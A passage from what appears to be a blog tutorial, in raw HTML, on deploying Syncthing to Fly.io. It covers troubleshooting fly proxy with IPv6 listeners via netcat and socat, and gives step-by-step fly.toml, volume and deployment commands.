&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>32874e1dc76685:/# nc -l &lt;span style="color:#3677a9">8000&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly proxy 8000:8000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Proxying &lt;span style="color:#24909d">local&lt;/span> port &lt;span style="color:#3677a9">8000&lt;/span> to remote [syncthing-mtlynch.internal]:8000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl http://localhost:8000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl: (56) Recv failure: Connection reset by peer
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>On my Fly.io server, netcat didn&amp;rsquo;t show any attempt at a connection. What gives?&lt;/p>
&lt;p>I found a Fly.io forum post titled, &lt;a href="https://community.fly.io/t/fly-proxy-seemingly-doesnt-work/7180?u=mtlynch">&amp;ldquo;Fly proxy seemingly doesn&amp;rsquo;t work,&amp;rdquo;&lt;/a> which certainly captured my feelings in that moment:&lt;/p>
&lt;blockquote>
&lt;p>I’m trying to connect my local computer through fly proxy 8080 and tells me the following:&lt;/p>
&lt;p>&lt;code>Proxying local port 8080 to remote [notion-to-calendar.internal]:8080&lt;/code>&lt;/p>
&lt;p>However, &lt;code>curl localhost:8080&lt;/code> or &lt;code>curl 0.0.0.0:8080&lt;/code> just hangs until I close the proxy.&lt;/p>
&lt;p>-&lt;a href="https://community.fly.io/t/fly-proxy-seemingly-doesnt-work/7180?u=mtlynch">@bram-dingelstad&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>&lt;code>@jerome&lt;/code> from the Fly.io team explained what was going on:&lt;/p>
&lt;blockquote>
&lt;p>only listeners bound on ipv6 are accessible via the &lt;code>fly proxy&lt;/code> command.&lt;/p>
&lt;p>-&lt;a href="https://community.fly.io/t/fly-proxy-seemingly-doesnt-work/7180/9?u=mtlynch">@jerome&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>Ah, IPv6! That would explain it. If Syncthing was listening on an IPv4 interface, then it wouldn&amp;rsquo;t receive the connection from the Fly.io proxy.&lt;/p>
&lt;p>I ran into a similar issue &lt;a href="https://mtlynch.io/sia-nextcloud/#dockerfilesia">when I was maintaining the Sia Docker image&lt;/a>. The solution then was to proxy connections using a tool called &lt;code>socat&lt;/code>, so I tried it here to listen on IPv6 port 8386 and proxy the connection to IPv4 port 8384.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>apk add socat &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> socat TCP6-LISTEN:8386,fork,su=nobody TCP4:localhost:8384
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then I updated the &lt;code>fly proxy&lt;/code> command to send traffic to the IPv6 port:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>fly proxy 8384:8386
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And voila! It worked. I was able to access my Syncthing cloud server&amp;rsquo;s admin dashboard from my local device.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard_hu_87a86ec1fd735749.webp 300w, https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard_hu_b46f2bcfed8f2bcd.webp 600w, https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard_hu_2cd818a2b47b839d.webp 800w, https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard.webp 895w'
 src="https://mtlynch.io/syncthing-on-fly.io/cloud-dashboard.webp" alt="Screenshot of Syncthing dashboard on fly.io" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Andrew Katz&amp;rsquo;s solution has the advantage of making his Fly.io server&amp;rsquo;s admin interface available to him at any time. If I want to make administrative changes to my Fly.io server, I have to go through the ugly dance of setting up an ad-hoc proxy, but that&amp;rsquo;s actually fine for me. I expect maintenance to be infrequent, so I don&amp;rsquo;t mind some kludginess there.&lt;/p>
&lt;h2 id="can-i-avoid-the-socat-hack">Can I avoid the socat hack?&lt;/h2>
&lt;p>Proxying IPv6 through &lt;code>socat&lt;/code> worked, but it&amp;rsquo;s ugly and convoluted. Is there a cleaner way?&lt;/p>
&lt;p>It seemed like Syncthing natively supported IPv6, so I tried telling it to listen on the Fly.io server&amp;rsquo;s IPv6 loopback interface, &lt;code>::1&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>[env]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> STGUIADDRESS = &lt;span style="color:#ed9d13">&amp;#34;[::1]:8384&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I redeployed with &lt;code>fly deploy&lt;/code> and everything started up fine. The logs showed that Syncthing was now listening on &lt;code>::1&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>INFO: Access the GUI via the following URL: http://[::1]:8384/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So far, so good. I&amp;rsquo;ll try the proxy command again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly proxy 8384:8384
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Proxying &lt;span style="color:#24909d">local&lt;/span> port &lt;span style="color:#3677a9">8384&lt;/span> to remote [syncthing-mtlynch.internal]:8384
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And now, I&amp;rsquo;ll try connecting over &lt;code>8384&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl http://localhost:8384/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl: (56) Recv failure: Connection reset by peer
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Darn! So close.&lt;/p>
&lt;p>In my Syncthing server logs, I saw dozens of lines with this message:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>[UPMD6] 2023/05/25 11:41:16 INFO: Listen (BEP/tcp): TLS handshake: EOF
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>TLS? Huh? Syncthing&amp;rsquo;s logs said it was listening for plaintext &lt;code>http://&lt;/code> connections. But for fun, I tried the HTTPS protocol:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ curl https://localhost:8384/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl: (35) OpenSSL SSL_connect: Connection reset by peer in connection to localhost:8384
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nope, no dice there either. I suspect that I&amp;rsquo;m close to a solution here, so if readers have ideas, let me know.&lt;/p>
&lt;p>The other route I considered was skipping the web GUI entirely and just doing everything through the CLI like a real hacker.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ syncthing cli --home /var/syncthing/config config devices
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> syncthing cli config devices -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>USAGE:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> syncthing cli config devices &lt;span style="color:#24909d">command&lt;/span> [&lt;span style="color:#24909d">command&lt;/span> options] [arguments...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>COMMANDS:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ACTIONS:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> list List item keys in the collection
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> add Add a new item to collection
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> add-json Add a new item to collection deserialised from JSON
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But Syncthing&amp;rsquo;s CLI seemed pretty complex, so I decided the web GUI is good enough for me.&lt;/p>
&lt;p>&lt;strong>Update (2023-06-29)&lt;/strong>: We have a solution!&lt;/p>
&lt;p>Thanks to readers who let me know about using the &lt;code>fly-local-6pn&lt;/code> address. I can update my &lt;code>fly.toml&lt;/code> with this environment variable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>STGUIADDRESS = &lt;span style="color:#ed9d13">&amp;#34;fly-local-6pn:8384&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, I can use &lt;code>flyctl proxy 8384:8384&lt;/code>, and connect like normal. I&amp;rsquo;ve updated the tutorial below to take advantage of this improvement.&lt;/p>
&lt;h2 id="how-to-deploy-syncthing-to-flyio">How to deploy Syncthing to Fly.io&lt;/h2>
&lt;p>Now that I&amp;rsquo;ve poked around Syncthing and Fly.io through lots of trial and error, I&amp;rsquo;m ready to present a clean way to deploy Syncthing on Fly.io. It should only take about five minutes from start to finish.&lt;/p>
&lt;h3 id="pre-requisites">Pre-requisites&lt;/h3>
&lt;p>Before you begin, you&amp;rsquo;ll need:&lt;/p>
&lt;ul>
&lt;li>A Fly.io account (with billing activated)&lt;/li>
&lt;li>The &lt;code>fly&lt;/code> CLI &lt;a href="https://fly.io/docs/getting-started/installing-flyctl/">installed&lt;/a> and authenticated on your machine&lt;/li>
&lt;/ul>
&lt;h3 id="create-your-app">Create your app&lt;/h3>
&lt;p>First, create a new Fly.io app.&lt;/p>
&lt;p>The snippet below names your app &lt;code>syncthing-&lt;/code> plus a random suffix, but you can choose any app name that isn&amp;rsquo;t already claimed on Fly.io.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>head /dev/urandom | tr -dc &lt;span style="color:#ed9d13">&amp;#39;a-z0-9&amp;#39;&lt;/span> | head -c &lt;span style="color:#3677a9">6&lt;/span> ; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">APP_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;syncthing-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fly apps create --name &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">APP_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="create-flyio-configuration-file">Create Fly.io configuration file&lt;/h3>
&lt;p>Next, create a Fly.io configuration file for your deployment.&lt;/p>
&lt;p>I prefer to know exactly what version I&amp;rsquo;m running, so I&amp;rsquo;m setting &lt;code>SYNCTHING_VERSION&lt;/code> to the explicit &lt;code>1.23.4&lt;/code> version image. If you want your Fly.io server to run the latest stable version on every new server deployment, set the version to &lt;code>latest&lt;/code>. If you&amp;rsquo;re feeling wild, you can choose &lt;code>edge&lt;/code> or &lt;code>nightly&lt;/code> for an unstable release with bleeding edge features.&lt;/p>
&lt;p>For &lt;code>REGION&lt;/code>, choose &lt;a href="https://fly.io/docs/reference/regions/">a Fly.io region&lt;/a> near you.&lt;/p>
&lt;p>The &lt;code>VOLUME_NAME&lt;/code> doesn&amp;rsquo;t matter, but you can change it to whatever you want.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SYNCTHING_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;1.23.4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">REGION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;ewr&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># Deploy to Fly.io&amp;#39;s Newark, NJ, USA data center.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VOLUME_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;syncthing_data&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cat &lt;span style="color:#ed9d13">&amp;lt;&amp;lt;EOF &amp;gt; fly.toml
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">app = &amp;#34;${APP_NAME}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">primary_region = &amp;#34;${REGION}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[build]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> image = &amp;#34;syncthing/syncthing:${SYNCTHING_VERSION}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[env]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # Only listen for connections to admin GUI through fly.io&amp;#39;s private Wireguard
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # network.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> STGUIADDRESS = &amp;#34;fly-local-6pn:8384&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[mounts]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> source=&amp;#34;${VOLUME_NAME}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> destination=&amp;#34;/var/syncthing&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[[services]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> internal_port = 22000
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> protocol = &amp;#34;tcp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> [[services.ports]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> port = 22000
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> [[services.tcp_checks]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> grace_period = &amp;#34;1s&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> interval = &amp;#34;15s&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> restart_limit = 0
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> timeout = &amp;#34;2s&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[[services]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> internal_port = 22000
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> protocol = &amp;#34;udp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> [[services.ports]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> port = 22000
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">[[services]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> internal_port = 21027
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> protocol = &amp;#34;udp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> [[services.ports]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> port = 21027
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="create-a-persistent-volume">Create a persistent volume&lt;/h3>
&lt;p>You&amp;rsquo;ll need a persistent volume so that Syncthing doesn&amp;rsquo;t lose your configuration and data on every server restart.&lt;/p>
&lt;p>You can choose any volume size, but Fly.io &lt;a href="https://fly.io/docs/about/pricing/#free-allowances">offers 3 GB in its free tier&lt;/a> as of this writing.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SIZE_IN_GB&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;3&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># This is the limit of fly.io&amp;#39;s free tier as of 2023-05-24&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fly volumes create &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">VOLUME_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --region &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">REGION&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --size &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SIZE_IN_GB&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --yes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="deploy-your-server">Deploy your server&lt;/h3>
&lt;p>Finally, it&amp;rsquo;s time to deploy your app. There&amp;rsquo;s no reason to purchase IPv4 addresses for Syncthing, so you can add the &lt;code>--no-public-ips&lt;/code> flag:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>fly deploy --no-public-ips
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If everything worked, you should see a message like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>No machines in group app, launching a new machine
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Machine e286537dbd3586 [app] update finished: success
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished launching new machines
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Updating existing machines in &amp;#39;syncthing-ccdb2x&amp;#39; with rolling strategy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Finished deploying
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="adding-your-syncthing-cloud-server-as-a-peer">Adding your Syncthing cloud server as a peer&lt;/h3>
&lt;p>Once your Syncthing server is running, you&amp;rsquo;ll need its device ID to connect to it. You can find this by checking your server logs:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ fly logs | grep &lt;span style="color:#ed9d13">&amp;#34;My ID: &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2023-05-26T04:20:28Z app[e784e736c90283] ewr [info][GHLLB] 2023/05/26 04:20:28 INFO: My ID: GHLLBWT-QJ4LGHJ-RT43QUV-DWFRMGS-5OTXHGH-LAZAIMG-HQ3TVAE-UUC2SA5
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>On your local Syncthing devices, add your cloud Syncthing server by clicking &amp;ldquo;Add Device&amp;rdquo; and entering the Device ID. You can give the server any device name. I chose the wildly creative name, &lt;code>cloud-syncthing&lt;/code>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 898px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/add-device.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 898px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/add-device_hu_cfaff38a843f7f0e.webp 300w, https://mtlynch.io/syncthing-on-fly.io/add-device_hu_dacc03d80a2fc646.webp 600w, https://mtlynch.io/syncthing-on-fly.io/add-device_hu_48978a2a584e3b6d.webp 800w, https://mtlynch.io/syncthing-on-fly.io/add-device.webp 896w'
 src="https://mtlynch.io/syncthing-on-fly.io/add-device.webp" alt="Screenshot showing add device with device ID of GHLLBWT-QJ4LGHJ-RT43QUV-DWFRMGS-5OTXHGH-LAZAIMG-HQ3TVAE-UUC2SA5" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You can improve the security of your cloud Syncthing server by treating it as &amp;ldquo;Untrusted.&amp;rdquo; That tells your other devices to send data to the server only after encrypting it. If an attacker ever compromises your Fly.io server, they&amp;rsquo;ll only get unreadable encrypted data.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 898px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/mark-untrusted.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 898px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/mark-untrusted_hu_4d8cc7a8b0f6a350.webp 300w, https://mtlynch.io/syncthing-on-fly.io/mark-untrusted_hu_8e32ace9a7ed252f.webp 600w, https://mtlynch.io/syncthing-on-fly.io/mark-untrusted_hu_300f4b13fdf3d443.webp 800w, https://mtlynch.io/syncthing-on-fly.io/mark-untrusted.webp 896w'
 src="https://mtlynch.io/syncthing-on-fly.io/mark-untrusted.webp" alt="Screenshot showing checking the Untrusted box in Add Device &amp;gt; Advanced" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Finally, share one of your folders with your new Syncthing server. Go to Edit Folder &amp;gt; Sharing and check the box for the new peer. If you marked it as untrusted, set a strong passphrase to encrypt the data.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 898px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/add-cloud-syncthing.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 898px, 98vw"
 srcset='https://mtlynch.io/syncthing-on-fly.io/add-cloud-syncthing_hu_8c1993821eb185f8.webp 300w, https://mtlynch.io/syncthing-on-fly.io/add-cloud-syncthing_hu_62954eaed3f615bd.webp 600w, https://mtlynch.io/syncthing-on-fly.io/add-cloud-syncthing_hu_1df15cfc7fab0cbf.webp 800w, https://mtlynch.io/syncthing-on-fly.io/add-cloud-syncthing.webp 896w'
